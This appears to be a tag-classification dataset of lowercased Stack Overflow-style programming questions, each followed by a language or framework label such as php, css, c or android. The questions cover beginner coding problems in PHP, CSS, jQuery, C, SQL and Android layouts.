odd.,objective-c
how to implement a function with array <pre><code>&lt; php class fileowners {     public static function groupbyowners($files)     {         return null;     } }  $files = array (      input.txt  =&gt;  randy        code.py  =&gt;  stan        output.txt  =&gt;  randy  );  var_dump(fileowners::groupbyowners($files)); </code></pre>   <strong>implement a groupbyowners function :</strong>   <ul> <li> accepts an associative array containing the file owner name for each file name. </li> <li> returns an associative array containing an array of file names for each owner name  in any order.    <strong>for example</strong> </li> </ul>   given the input:   <pre><code>[ input.txt  =&gt;  randy    code.py  =&gt;  stan    output.txt  =&gt;  randy ] </code></pre>   groupbyowners returns:   <pre><code>[ randy  =&gt; [ input.txt    output.txt ]   stan  =&gt; [ code.py ]] </code></pre>,php
changing color of h2  how i can change the color of h2      i have tried <code>&lt;h2 color= #006699 &gt;process report&lt;/h2&gt;</code> but it s not changed and i am still getting this default black colour    thanks .,html
jquery each() function increment by half  i m trying to add <code>0.5</code> increment after each iteration using jquery <code>each()</code> function. i have to add <code>animatoin-delay</code> property on <code>li</code> which value should increase (<code>0.5</code>) that i can animate them on document load.   <h2>html</h2>  <pre><code>&lt;ul class= social-link &gt;         &lt;li&gt;&lt;/li&gt;         &lt;li&gt;&lt;/li&gt;         &lt;li&gt;&lt;/li&gt;         &lt;li&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>  <h2>js</h2>  <pre><code>$( ul.social-link li ).each(function(i){         plus =  i - 0.5;         $(this).addclass( animated fadein ).css( animation-delay  plus+ s ); }); </code></pre>   i have tried above code  but it does working after first iteration  on first iteration its given <code>0.5</code> but after that its adding (1.5  2.5  3.5) 1 instead of 0.5. i know my logic is not correct. can any one guide me regarding this that its possible or not using <code>each()</code> function. i can do it using <code>css</code> but it will be good if done using jquery. i will appreciate if someone guide me. thank you,jquery
something not working as expected in this php function  i am trying to pull data from mysql and this supposed to show complete data but this is showing only one row. this is supposed to show all rows of users. i don’t know what i did wrong:    here is the code:   <pre><code>function getcashoutrequests($uid  $limit) { if (!empty( $limit )) {     $query = mysql_query(    .  select * from cashouts where uid =   . $uid .   order by id desc limit   . $limit ); } else {     $query = mysql_query(    .  select * from cashouts where uid =   . $uid .   order by id desc  ); }   if (mysql_num_rows( $query )) {      if ($row = mysql_fetch_object( $query )) {         $row-&gt;id;         $amount = $row-&gt;amount;         $status = $row-&gt;status;         $client_notes = nl2br( $row-&gt;user_notes );         $admin_notes = nl2br( $row-&gt;admin_notes );         $request_date = $row-&gt;request_date;         $payment_date = $row-&gt;payment_date;         $fee = $row-&gt;fee;         $priority = $hid = $row-&gt;priority;         $method = $row-&gt;method;          if ($payment_date !=  0000-00-00 00:00:00 ) {             $payment_date = date(  d m  y   strtotime( $payment_date ) );         }          $request_date = date(  d m  y   strtotime( $request_date ) );          $payhistory []= array(  id  =&gt; $hid   cash  =&gt; $amount   status  =&gt; $status   method  =&gt; $method   client_notes  =&gt; $client_notes   admin_notes  =&gt; $admin_notes   date  =&gt; $request_date   payment_date  =&gt; $payment_date   fee  =&gt; $fee   priority  =&gt; $priority );     }      return $payhistory; }  return false; } </code></pre>,php
two table view data management on iphone  i have <strong>2 buttons a and b both display tableview</strong> and data <strong>initially same data</strong>  but then in <strong>b there is a search button so when user serach tableviewb data changes</strong> and then if i <strong>press a then i can see the data shown in b</strong> *<em>my earlier data a is override by b</em>* how to solve this issues   so that i can see my old data in a    i did <strong>1)  different ib outlets name  of tableview 2)  changed the cell identifier name</strong>  but no sucess kindly suggest    table a code   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview0 cellforrowatindexpath:(nsindexpath *)indexpath {     //uitableview *tableview;     uitableviewcell *cell;     static nsstring *cellidentifier = @ cells ;       //self.tableview.frame = cgrectmake(0 searchbar.bounds.size.height 320 480);           cell= [tableview0 dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil ) {           cell = [[[uitableviewcell alloc] initwithframe:cgrectzero reuseidentifier:cellidentifier] autorelease];         //cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease];   #pragma mark bg image for tableview   } </code></pre>   table b code   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview1 cellforrowatindexpath:(nsindexpath *)indexpath {     //uitableview *tableview;     uitableviewcell *cell;     static nsstring *cellidentifier = @ cell ;       //self.tableview.frame = cgrectmake(0 searchbar.bounds.size.height 320 480);        nslog(@  what is the value%d  [appdelegate.books count]);       cell= [tableview1 dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil ) {            nslog(@  table view cell value %d  [appdelegate.books count]);         cell = [[[uitableviewcell alloc] initwithframe:cgrectzero reuseidentifier:cellidentifier] autorelease];     //  cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease]; </code></pre>   thanks,iphone
add dateinterval s  i am trying to add two dateinterval objects together. the dateinterval->add() method does not exist  but i d like to do something like this:   <pre><code>$interval1 = new dateinterval( pt2h47m13s ); $interval2 = new dateinterval( pt4h19m22s );  $interval1-&gt;add($interval2);  echo $interval1-&gt;format( %hh %im %ss ); </code></pre>   results in: 7h 6m 35s    i understand i can create a new class that extends the dateinterval class and write the method for adding the 2 together myself. but  the dateinterval objects i am using are coming from the return value of date_diff().  so unless there is someway to convert the dateinterval object cleanly into the extended class  i m not sure what to do.,php
c programming  linked list error  when i try to compile the following code  i get the error    <pre><code>test.c: in function  main : test.c:16: error: incompatible types in assignment </code></pre>   and the code is..   <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt; #include &lt;string.h&gt;  typedef struct {     char name[20];     struct planet* next; } planet;   int main(int argc  char *argv[]) {     planet *p  *start  *first  *second  *third;      strcpy(start-&gt;name   suthan );     start-&gt;next = *first;  } </code></pre>,c
php search for a keyword (action  ) from a text file  prints all lines with that keyword  then counts how many lines are printed  so i just started learning php  and i wanted to search for a certain keyword (action  ) from a text file  then print all the lines with the keyword  then count all the lines printed.    here s what i have so far:   <pre><code>&lt; php $searchfor =  err: ; echo  lines found with the keyword   .  \   . $searchfor .  \   .  \n ; $array  =   array_filter(array_map(function($v){     return (stripos($v  action ) !== false)  $v : false;     } array_filter(file( sampletest.log  file_skip_empty_lines) function($v) {     return (!empty(trim($v))); }))); # this will implode the lines echo (!empty($array))  implode(   $array) :   ; # this will count the array echo  &lt;br&gt;&lt;br&gt;total lines printed:   . ((!empty($array))  count($array) : 0);  &gt; </code></pre>   so basically it looks for a certain keyword  in this case   err:  from a certain text file  then prints all of the lines with  err:  and then it counts all the lines printed.    so what i wanted to do was look for the keyword (<strong>action  </strong>). that s a space after the word action and a single apostrophe. but it seems like it doesn t read the apostrophe( ).  it prompts me this error in cmd:       (t_constant_encapsed_string) in c:\xampp\php\newtest.php on line 11      (t_constant_encapsed_string) in c:\xampp\php\newtest.php on line 11,php
can you create one div to flow over others like in the image below   black is the browser window in the image bellow. i want to accomplish the image in the right i have a div which is centered (blue) and has a fixed width i have a div which is inside (red)    i want the red div to span from one side of the screen to the other while still aligning all else in the center.    how should i do this  should i break it in 3 divs(first fixed and centered  the second to span all width  the third like the first) <img src= https://i.stack.imgur.com/czp0u.png  alt= enter image description here >,html
update instantrails 2 to ruby 1.8.7 or 1.9.2  i am trying to update instantrails  and i did really  really google for any tutorial for it but found none. one site was mentioned to have contained a tutorial but it is not gone <a href= http://dwiardiirawan.com/  rel= nofollow noreferrer >http://dwiardiirawan.com/</a>. i know there s this installer available for windows  but i think one needs to extract a tar file and replace the existing files in the ruby folder in the instantrails dir and some fine-tunings for it to work. would you be kind enough to let me know of something that i can at least try doing      thank you!,ruby-on-rails
horizontal overlap on :before element in firefox  i have a :before element on my footer that is giving it a  slanted  look. the issue is a horizontal scroll being caused from the <code>border-left: 2000px</code> below. any suggestions on how to fix  <code>overflow: hidden;</code> doesn t do the trick.   <pre><code>footer:before {     content:   ;     position: absolute;     height: 0px;     border-bottom: 70px solid #4a473d;     border-left: 2000px solid transparent;     margin-top: -70px;     left: 0px;     right: 0px;     overflow: hidden;     width: auto; } </code></pre>,css
generate youtube url thumb image on page load php  i want to generate a youtube thumb on page load event from the value given in the textboxes(array of textboxes).the form code which contains the textboxes with value is given below.please help me in solving this problem.    <pre><code>&lt;script language= javascript &gt; function getthumbonload()     {     var msg1 = document.getelementbyid( video_url[] ).value;      var str1 = msg1;     var parts1 = str1.split( / );     var tmp1 = parts1[parts1.length-1];     somestr1 =  http://img.youtube.com/vi/ + tmp1+ /3.jpg a= +math.random();     } &lt;/script&gt; &lt;form name= frmupdate  method= post  id= formid  action= videos_db.php  &gt;     &lt; php     if ($totalrecords &gt; 0) {         $percolumn = 2;         $colwidth = floor(100 / $percolumn);         $totalrows = ceil($totalrecords / $percolumn);          &gt;          &lt;body onload= getthumbonload(); &gt;         &lt;table width= 90%  border= 0  align= center  cellpadding= 0  cellspacing= 0  class= tblbg &gt;             &lt;tr&gt;                 &lt;td&gt;                 &lt;table width= 100%  border= 0  cellspacing= 1  cellpadding= 2 &gt;                     &lt;tr&gt;                         &lt;td colspan= &lt; php echo $percolumn;  &gt;  valign= top  class= tblheader &gt;edit / delete videos&lt;br /&gt;                            &lt;/td&gt;                     &lt;/tr&gt;                     &lt; php                     $maincnt = 1;                     for ($rowcnt = 1; $rowcnt &lt;= $totalrows; $rowcnt++) {                      &gt;                     &lt;tr&gt;                         &lt; php for ($colcnt = 1; $colcnt &lt;= $percolumn; $colcnt++) {  &gt;                         &lt;td width= &lt; php echo $colwidth;  &gt;%  valign= top  class= tblrow &gt;                     &lt; php                     if ($maincnt &lt;= $totalrecords &amp;&amp; mysql_data_seek($result  $maincnt - 1) &amp;&amp; $arow = mysql_fetch_array($result)) {                      &gt;                     &lt;table width= 100%  border= 0  cellspacing= 0  cellpadding= 0 &gt;                         &lt;tr&gt;                             &lt;td align= center &gt;&lt;input name= video_id[]  type= checkbox  id= video_id[]  value= &lt; php echo $arow[ video_id ];  &gt;  /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;td align= center  class= tblrow &gt;                              &lt;input type= label  class= input  name= title[]  value= &lt; php echo $arow[ title ];  &gt;  /&gt;                             &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;td align= center  class= tblrow &gt;                             &lt;input name= video_url[]  type= text  class= input videourltxt  id= video_url[]  value= &lt; php echo setdb($arow[ video_url ]   display );  &gt;  maxlength= 100  /&gt;&lt;input name= vid_id[]  type= hidden  value= &lt; php echo $arow[ video_id ];  &gt;  /&gt;&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                     &lt;td align= center  class= tblrow &gt;&lt;img src=   id= videothumb &gt;&lt;/td&gt;                          &lt;/tr&gt;                      &lt;/table&gt;                      &lt; php }                         else echo  &amp;nbsp; ;  &gt;                      &lt;/td&gt;                         &lt; php                         $maincnt++;                         }                          &gt;                       &lt;/tr&gt;             &lt; php                 }              &gt;                           &lt;/table&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;         &lt;/body&gt;          &lt;br /&gt;         &lt;table width= 95%  border= 0  align= center  cellpadding= 0  cellspacing= 0 &gt;             &lt;tr&gt;                 &lt;td&gt;&lt;input name= btnupdate  type= submit  class= but  id= btnupdate  value= update all  /&gt;                     &amp;nbsp;                     &lt;input name= btndel  type= button  class= but  id= btndel  value= delete selected  onclick= setaction( delete );  /&gt;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;&amp;nbsp;&lt;/td&gt;             &lt;/tr&gt;          &lt;/table&gt;         &lt;input type= hidden  name= myaction  value= update &gt;         &lt;input type= hidden  name= cid  value= &lt; php echo $cid;  &gt;  /&gt;         &lt;input type= hidden  name= modelid  value= &lt; php echo $modelid;  &gt;  /&gt;        &lt; php } else     echo  &lt;center class=\ tblrow1\ &gt;no records found.&lt;/center&gt; ;  mysql_free_result($result);  &gt; &lt;/form&gt; </code></pre>   thanks in advance,php
how to find - the people you contact the most  hello all i am developing a extension app which will fetch-     <ul> <li>the people you contact the most.</li> <li>most frequently used apps.</li> </ul>   any body have idea  how can i get these things. thanks in advance.,ios
enabling angular.js after the page has loaded  i am in the process of building a ajax driven search application. it will essentially be a single page app. so i have been evaluating different frameworks for this  like backbone and angular.js.    at the moment angular.js is the winner but i have a few issues that i am trying to get around. the main problem i have is that i very much want to have the first page load of my app to be rendered server side and then all interactions to be handled by angular.js. my reason for this is because i don t want a user to experience that double wait.    so essentially my plan is to load data in my <code>ng-view</code> <code>div</code> on the server side. then update that content via angular.js ajax for all changes the user makes after that.    my difficulty is how do i prevent angular.js from looking at the url on the first page load and doing it s thing and then rendering the content,angularjs
slq select query displays the column headers instead of the data in the columns <pre><code>select week  date  male  female  children  total  no_of_meetings  total_attendance  visitors  new_cells_created  cells_closed  no_of_leaders  members_who_have_joined_cell  decisions_made_for_christ  pers_established_in_local_church  bible_study_groups  bible_study_leaders  endorsed_by  designation  contact from `week_report` where cellname =  john  </code></pre>   using    <pre><code>select * from `week_report` where cellname =  bibiani  </code></pre>   references the cellname column header,mysql
should __init__() call the parent class s __init__()   i m used that in objective-c i ve got this construct:   <pre><code>- (void)init {     if (self = [super init]) {         // init class     }     return self; } </code></pre>   should python also call the parent class s implementation for <code>__init__</code>    <pre><code>class newclass(someotherclass):     def __init__(self):         someotherclass.__init__(self)         # init class </code></pre>   is this also true/false for <code>__new__()</code> and <code>__del__()</code>     <strong>edit:</strong> there s a very similar question: <a href= https://stackoverflow.com/questions/753640/inheritance-and-overriding-init-in-python >inheritance and overriding <code>__init__</code> in python</a>,python
why viewstates instead of sessions  why we use to store data in <code>viewstate</code>  even we have <code>session</code>s to do the same job    <pre><code>session[ data ] </code></pre>   vs.   <pre><code>viewstate[ data ]      </code></pre>   what s the difference,asp.net
c# - run different form on each run  how would i run a different form whenever this program is run  for example:    on the first time the program is ran  run <code>new form1().show();</code>    on the second time the program is ran  run <code>new form2().show();</code> for example.    in my case i am running on startup so   <pre><code>registrykey rkapp = registry.currentuser.opensubkey( software\\microsoft\\windows\\currentversion\\run   true) </code></pre>   i want it so form1 is ran on the first time you open the program and whenever it runs on startup form3 is opened,c#
java looping issue reading out incorrectly  ok  so i am trying to get this output: die 0: 6 letters die 1: 6 letters etc:    and right now its printing out die 0: then the whole read file of letters    this is the class that is doing the looping and i posted the other methods what there doing from a different java package.   <pre><code>public void populatedice() {      //loop through the 16 dice times     for (int row = 0; row &lt; number_of_dice; row++){      //create an instance of class die using the no-argument constructor         //die die = new die();      //loop through the 6 sides of the die:         for (int col= 0; col &lt; number_of_sides; col++)         {              die die = new die();     //add each of the 6 letters to the die arraylist representing      //the die letters by calling method addletter in class die             die.addletter(dicedata.get(col).tostring());      //display the letters of each die by calling method displayallletters() in class die on a separate row            system.out.println( die   + row +  : );            die.displayallletters();      }       }    }   public void displayallletters()        {      try{      //loop through all sides of the die and display the data     for(int x = 0; x &lt; number_of_sides; x++)     {         system.out.println(dicestore.get(x));     }     }     catch(exception ex)     {         system.out.printf( error %s   ex.tostring());      }  } </code></pre>,java
sql command error (asp.net)  i get error when i use the following code   <pre><code>str =  insert into basicdata (id first name last name std) values (@sid @firstname @lastname @std)  </code></pre>   the error i get is near name    but when i remove spaces between first name    if i make it    <blockquote>    str =  insert into basicdata (id firstname lastname std) values   (@sid @firstname @lastname @std)   </blockquote>   the error goes away.... i gave column names first name in the database s table( i also changed it to firstname-so the error went away)    so does sql database permit you to have spaces in column names    if it does how should i write the sql insert statement,sql
what state my app will enter into when device receiving alerts (alert view) from other apps (e.g. calendar)  while the user is playing with my app  there is a calendar alert (alert view) pop up. the user will need to dismiss the calendar alert to back to my app. before he doing so  what kind of state my app will be running  or put in another way  what kind of event my app will receive so to know that the app is  interrupted  by another app,ios
what would be needed in c++ so that we can always use references and never pointers   according to what i found on the net  you should use references as much as you can  except when you must use a pointer. as far as i understood  the only reasons to use a pointer are:   <ul> <li>when dealing with raw memory <strong>or</strong> </li> <li>when you may have to return null <strong>or</strong> </li> <li>when you are dealing with the returned newly allocated object from new().</li> </ul>   the first cannot really be handled. it s intrinsic in the task. the second can be handled by a null object pattern  and return a reference to that null object. it requires that you define a null object per each class instance you want to be able to refer to as null. the third can be handled with a smart pointer.    what i am wondering is: is it possible to  go java in c++  and program completely using references disregarding pointers altogether   would it be possible to define  by language  a null object in c++ like in java      sorry if the question is badly stated or a faq  i am very rusty on c++ and i have to start a new project in it  so i need to re-learn a few new things and get used to think in a different way.,c++
double dimensional array as return value  for my homework  i have to read data from an input file and to store it in a double dimensional array and then pass this array to another function. this is what i have tried so far  but i don t know when i call this function in main it gives the error:    <blockquote>    access violation writing location 0x00000000.  </blockquote>   i have tried to dynamically allocate memory and it gives the same error. what i am doing wrong     the last update of the code:   <pre><code> #include&lt;stdio.h&gt;  #include&lt;stdlib.h&gt;  int *a[2]; void getdata(void) {     file *fp = fopen( input.txt    r );     int number;      fscanf(fp   %d   &amp;number);       for (int i = 0; i &lt; number; i++)     {         a[i]=(int*)malloc(number * sizeof (int));         fscanf(fp   %d %d   &amp;a[i][0]  &amp;a[i][1]);     }     fclose(fp); }   int main() {        getdata();     for(int i=0;i&lt;8;i++)     {         printf( %d %d\n  a[i][0] a[i][1]);     } } </code></pre>,c
i don t understand this error in php ex error=>sqlstate[hy000] [1045] access denied  i have problem  when i run blow query if don t find any thing show this error    <blockquote>    ex error=>sqlstate[hy000] [1045] access denied for user    mehran @ localhost  (using password: yes) fatal error: call to a   member function prepare() on a non-object in   c:\xampp\htdocs\myproject\article_project\db_operation\db_signin.php   on line 16  </blockquote>  <pre><code>try {     $account_id = 0;      $conn = dbconnection();        $query =  select * from account where email= :email and password=:password ;     $stmt = $conn-&gt;prepare($query);      $stmt-&gt;bindparam( :email   $email);     $stmt-&gt;bindparam( :password   $password);     $stmt-&gt;execute();      while ($row = $stmt-&gt;fetchobject()) {         $account_id = $row-&gt;id;     }      if ($account_id &gt; 0) {         $query =  select * from account_detail where account_id= :account_id  ;         $stmt = $conn-&gt;prepare($query);          $stmt-&gt;bindparam( :account_id   $account_id);         $stmt-&gt;execute();          while ($row = $stmt-&gt;fetchobject()) {             $id = $row-&gt;id;             $firstname = $row-&gt;firstname;             $lastname = $row-&gt;lastname;             $access = $row-&gt;access;         }          $_session[ id ] = $id;         $_session[ firstname ] = $firstname;         $_session[ lastname ]=$lastname;         $_session[ access ]=$access;       } else {         $_session[ error ] =  user not found ;     } </code></pre>,php
sql request don t return row with the same name  i need help with sql. let s say i do have a table with columns id and name. i want to return the name one time    <pre> id  name 1   a 2   a 3   c 4   a 5   a 6   b </pre>   i want my sql result to be like this   <pre> 1   a 2   c 3   b </pre>   thank you :),sql
how to determine whether a div with some class is the last element of that class in a parent div - jquery   how can we find or check whether a div with some specific class is the last element of that class in a group under a parent div  i have the following html -   <pre><code>&lt;div id= gallery_wrapper &gt; &lt;!-- gallery_wrapper starts here --&gt; &lt;h3&gt;images in this gallery:&lt;/h3&gt;         &lt;div class= gallery &gt;         &lt;a id= delimg-103  class= delete_icon  title= delete image  href= javascript:void(0); &gt;             &lt;img width= 24  height= 24  border= 0  alt= delete  src= images/delete.png &gt;         &lt;/a&gt;         &lt;img width= 150  height= 150  border= 0  alt= image  src= images/gallery/thumbs/atoz-poetry-of-poetrysync-blogspot-com-letter-s-thumb-06-09-2014-06-34-05-150x150.png &gt;         &lt;p id= no caption  class= caption &gt;&lt;a title= change caption  id= changecap-103  class= change_caption  href= # &gt;no caption&lt;/a&gt;&lt;/p&gt;         &lt;/div&gt;         &lt;div class= gallery &gt;         &lt;a id= delimg-104  class= delete_icon  title= delete image  href= javascript:void(0); &gt;             &lt;img width= 24  height= 24  border= 0  alt= delete  src= images/delete.png &gt;         &lt;/a&gt;         &lt;img width= 150  height= 150  border= 0  alt= image  src= images/gallery/thumbs/283762-320029728078406-2085461550-n-thumb-06-09-2014-06-34-13-150x150.jpg &gt;         &lt;p id= no caption  class= caption &gt;&lt;a title= change caption  id= changecap-104  class= change_caption  href= # &gt;no caption&lt;/a&gt;&lt;/p&gt;         &lt;/div&gt;         &lt;div class= gallery &gt;         &lt;a id= delimg-105  class= delete_icon  title= delete image  href= javascript:void(0); &gt;             &lt;img width= 24  height= 24  border= 0  alt= delete  src= images/delete.png &gt;         &lt;/a&gt;         &lt;img width= 150  height= 150  border= 0  alt= image  src= images/gallery/thumbs/apple-logo-thumb-06-09-2014-06-34-14-150x150.png &gt;         &lt;p id= no caption  class= caption &gt;&lt;a title= change caption  id= changecap-105  class= change_caption  href= # &gt;no caption&lt;/a&gt;&lt;/p&gt;         &lt;/div&gt;     &lt;div class= clr &gt;&lt;/div&gt;&lt;a href= add-images.php galid=2 &gt;upload images&lt;/a&gt;             &lt;/div&gt; </code></pre>   javascript -   <pre><code>$( .delete_icon ).click(function(){     var imgid = $(this).attr( id );     imgid = imgid.split( - );     var parent = $(this).parents( .gallery );     var ans = confirm( do you really want to delete this image  );     if(ans)     {         $.ajax({             beforesend: startrequest              cache: false              type:  post               url:  ajax/ajax.php               data:  imgid= +imgid[1]+ &amp;action=delete               success: function(response){                 if(response)                 {                     $( .preloader ).css( display    none );                      if(parent.is( :last-child )) // not working                     // condition to check whether the current element is last child of class .gallery under  #gallery_wrapper                      {                         alert( yes last child );                     }                     else                     {                         alert( yes last child );                     }                      parent.animate({ width  : 0   opacity  :0}   slow   function(){                         $(this).remove();                         var count = $( .gallery ).find( img ).length;                         if(count == 0)                         {                             $( #gallery_wrapper .clr ).after( no image is uploaded to this category yet.  );                         }                     });                 }             }          });     } }); </code></pre>   but problem is the following code doesn t work -   <pre><code>                if(parent.is( :last-child )) // not working                 // condition to check whether the current element is last child of class .gallery under  #gallery_wrapper                  {                     alert( yes last child );                 }                 else                 {                     alert( yes last child );                 } </code></pre>   how can i determine when clicking on .delete_icon it s parent element with class .gallery is the last child of its group,jquery
border image confusion  i wish to have an image for a top border. i ve looked into this and used various online border builder tools but i m still confused how to make a border for top only.    here is what i have:   <pre><code>border-image:url( test.png )      repeat; border-bottom:0; border-left:0; border-right:0; </code></pre>   i have an image that is 50px by 50px and i want this to repeat x across a top border. i have left question marks in the above code as this is the part i do not understand. i know this is to do with the slicing of the image  but i do not need my image sliced  i just want it to repeat.,css
how to align an element always center in div without giving width to its parent div   i am trying to align a element center in a div where i am not giving any width to parent div becouse it will spread according to screen size   there is total 3 element in div :   <ol> <li>buttons </li> <li>heading</li> <li>logo</li> </ol>   buttons will always align left and logo will align right whenever screen size will be change and the heading will always align center like this <img src= https://i.stack.imgur.com/aavds.jpg  alt= enter image description here >    my code is here  <a href= http://jsfiddle.net/7ae7j/1/  rel= nofollow noreferrer >http://jsfiddle.net/7ae7j/1/</a> please let me know where i am going wrong and what css i should apply for getting the element (heading) align center always.     html   <pre><code>&lt;div  id= header &gt;      &lt;div id= buttons &gt;         &lt;a href= #  class= button_back &gt;link 1&lt;/a&gt;         &lt;a href= #  class= button_back &gt;link 2&lt;/a&gt;     &lt;/div&gt;         &lt;h1&gt;heading of the page&lt;/h1&gt;     &lt;div id= logo &gt;         &lt;a href= # &gt;            &lt;img src= http://lorempixum.com/60/60  width= 178  height= 31  alt= logo  /&gt;        &lt;/a&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css   <pre><code>#header {      background:green;      height:44px;     width:100% }   #buttons {      float: left;      margin-top: 7px;      }   #buttons a {      display: block;      font-size: 13px;      font-weight: bold;      height: 30px;      text-decoration: none;      color:blue;     float:left}   #buttons a.button_back {      margin-left: 8px;      padding-left:10px;      padding-top: 8px;     padding-right:15px }   #header h1 {      color: #eeeeee;      font-size: 21px;      padding-top: 9px ;      margin:0 auto}   #logo {      float: right;     padding-top: 9px;      } </code></pre>,css
how to adjust the layout when the button text changes programmatically in android   i ve got some button in an horizontal layout (see 1st picture). when i change its text (programmatically)  android trys to adjust them  but sometimes the result is horrible (see 2nd picture). i would like that the last button was another line  but i have not succeeded. (see 3rd picture)    <a href= https://i.stack.imgur.com/alefw.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/alefw.jpg  alt= enter image description here ></a>,android
how to set margin between tablerow android  i found a lot of solutions about tablerow margin  but when i tried the rows dont margin at all.     this is my code:   <pre><code>        tablelayout table = (tablelayout)findviewbyid(r.id.mytablelayout);          for (int i = 0; i &lt; 3; i++) {             tablerow tr = new tablerow(this);             layoutparams layoutparams = new layoutparams(                     layoutparams.fill_parent  layoutparams.fill_parent);             int leftmargin=110;             int topmargin=100;             int rightmargin=100;             int bottommargin=100;             layoutparams.setmargins(leftmargin  topmargin  rightmargin  bottommargin);             tr.setlayoutparams(layoutparams);             tr.setbackgroundresource(r.drawable.shelf_bar);              table.addview(tr  new tablelayout.layoutparams(                     layoutparams.fill_parent                      layoutparams.fill_parent));         } </code></pre>   this is my expected result :    <img src= https://i.stack.imgur.com/elrmd.jpg  alt= enter image description here >    please anyone point my mistake out. thanks,android
what is the simplest way to make a specific page the default page in an html directory   my html folder contains many html files automatically generated  linked and named by a program. example: abcxyzpage1.html  abcxyzpage2.html  ...  abcxyzpage100.html  etc.    what is the simplest way to make a particular html file (abcxyzpage1.html)  the equivalent of default.html  so that a user just need to type <a href= http://mysite.com/myfolder/  rel= nofollow >http://mysite.com/myfolder/</a> and has that particular page loaded. renaming that starting page is not an option because all other pages in the folder link to it.    <strong>i don t want to use the meta refresh tag.</strong>,html
display file without extension as a text file on website  i tried to view a textfile without an extension in the iframe  but chrome doesn t display it  there is only the  save as  dialog. it works with .txt extension. view-source is useless for me  it must be shown on the website. i hope you can help me,html
converting decimal-number to binary-number  my program should convert a decimal number into a binary number. the first for loop is for calculating the binary number. the second loop puts the msb into the first element of the array. it is an exercise and the msb has to be in the first element. i do not understand where the mistake is  help is very much appreciated.    <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  int main(void){  int i; int bits[16]; int bits_2[16]; int number;  int decimal;  int rest; int msb; int result=1;  printf(  input number smaller than 65536:  ); scanf( %d   &amp;decimal); if(decimal &gt;= 65536) { printf(  \n\nincorrect input! ); return exit_failure; }  number=decimal;  for(i=0; result!=0; i++){     result = decimal / 2;     rest = result %2;      bits[i]=rest;     msb = i;     return msb;     }  printf( \n\n %d as binary number :    number);  for(i=msb; bits[i]&gt;=bits[0]; i--){     bits_2[msb-i] = bits[msb];     printf( %d   bits_2[msb-i]);     }  return 0; } </code></pre>,c
javascript optional arguments in function  i have a typical javascript function with some parameters   <pre><code>my_function = function(content  options) { action } </code></pre>   if i call the function as such :   <pre><code>my_function (options) </code></pre>   the argument  options  is passed as  content     how do i go around this so i can either have both arguments passed or just one   thank you,javascript
3 errors. im new to coding any ideas whats wrong  <ul> <li>error 3 only assignment  call  increment  decrement  await  and new object expressions can be used as a statement.</li> <li>error 2 ; expected</li> <li>error 1 invalid expression term  else </li> </ul>   i dont know how i can fix this. this is the code.   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace consoleapplication3 {     class program     {         static void main(string[] args)         {             double a  b  c  delta  pdelta;             console.write( podaj a:  );             a = convert.todouble(console.readline());             console.write( podaj b:  );             b = convert.todouble(console.readline());             console.write( podaj c:  );             c = convert.todouble(console.readline());             delta = (b * b - 4 * a * c);             pdelta = math.sqrt(delta);             //podanie miejsc zerowych              if(delta &gt; 0)                 console.writeline( x1={0}   (-b-pdelta)/(2*a));                 console.writeline( x2={0}   (-b+pdelta)/(2*a));             else if (delta == 0)                 console.writeline( x0={0}   -b/(2*a));             else                  console.writeline( brak miejsc zerowych. );             console.readkey(true);             //koniec         }     } </code></pre>,c#
troubles with js code  i have troubles with code which must display the image within a frame 300x300px. also there must be an ability to zoom in and out image inside the frame by pressing the + and - on the keyboard.  i m a mac user  so maybe the key codes for + &amp; - is not correct  or i asked the wrong path to the image (it s in the same folder as script file). please  help and thanks for watching! maybe there is more elegant method to do this task...   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;script type= text/javascript &gt;     var speed = 4; function showimage (src) {     var div = document.createelement ( div );     with (div.style)     {         width =  300px ;         heigth =  300px ;         border =  2px solid black ;         textalign =  center ;         overflow =  hidden ;     }     document.body.appendchild(div);     img = document.createelement ( img );     img.src = src;     img.width = 300;     img.height = 300;     div.appendchild (img); } function keydown (key); {     var k = 0;     if (key == 107 ) k = speed;     if (key == 109 ) k = -speed;     if (k != 0 )     {         img.width = img.width + k;         img.height = img.height + k;         img.style.margin = ((300 - img.height) / 2).tostring() +  px ;     } } &lt;/script&gt; &lt;/head&gt; &lt;body onkeydown= keydown (event.keycode)  onload= showimage ( image.jpg ) &gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
store the user information in a object on each load or grab the info when action is made  i have a session which contain the  user id     i have some information stored in the user table (that i need to grab) the question is if i should grab all data and put it in a object on each request or just make the query when an action is made     example #1   <pre><code>//update password  //a user object contain all data from users table...  if ($user-&gt;password == $new_password) {     $errors[] =  you can\ t choose the same password! ; } </code></pre>   example #2   <pre><code>//update password  //$current_password = query password and fetch  if ($current_password == $new_password) { //... } </code></pre>   etc...,php
